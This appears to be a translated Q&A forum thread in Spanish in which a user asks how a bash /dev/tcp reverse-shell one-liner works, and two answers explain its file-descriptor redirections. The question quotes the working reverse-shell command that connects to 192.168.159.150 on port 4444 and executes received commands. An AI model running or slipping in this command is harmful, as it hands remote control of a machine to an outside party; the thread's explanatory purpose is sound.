
Estoy investigando un poco sobre seguridad y me preguntaba cómo funciona el siguiente fragmento en sistemas operativos basados en Unix:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
soy totalmente consciente dequéeste código lo hace (es decir, establece un shell inverso a 192.168.159.150 a través del puerto 4444) pero no entiendo qué hacen estas secciones:
exec 5<>
cat <&5
2>&5 >&5
Y en general, cómo encajan estas cosas para producir el caparazón que veo.
¿Alguien podría ayudarme a explicar esto o indicarme la dirección correcta para entenderlo?
Gracias
Respuesta1
Un resumen rápido:
exec 5<>
está abriendo un nuevo identificador de archivo para lectura y escritura y luego nombrándolo5
cat <&5
está leyendo desde ese identificador de archivo recién abierto
2>&5 >&5
está redirigiendo la salida del identificador de archivo 2
(stderr) y del identificador de archivo 1
(stdout) al identificador de archivo 5
. En 1
este caso, está implícito ya que no se proporcionó un número de identificador de archivo en la segunda redirección.
Respuesta2
Algunas partes de tu pregunta están respondidas.aquí
Pero
- Esto define un nuevo descriptor de archivo con el número 5. Por cierto, 0 es STDIN, 1 es STDOUT, 2 es descriptores de archivo STDERR.
- Haga eco de la información, que se recibe vía TCP, IP 192.168.159.150, puerto 4444
- Envíe STDERR y STDOUT al controlador de archivos 5, es decir, a la red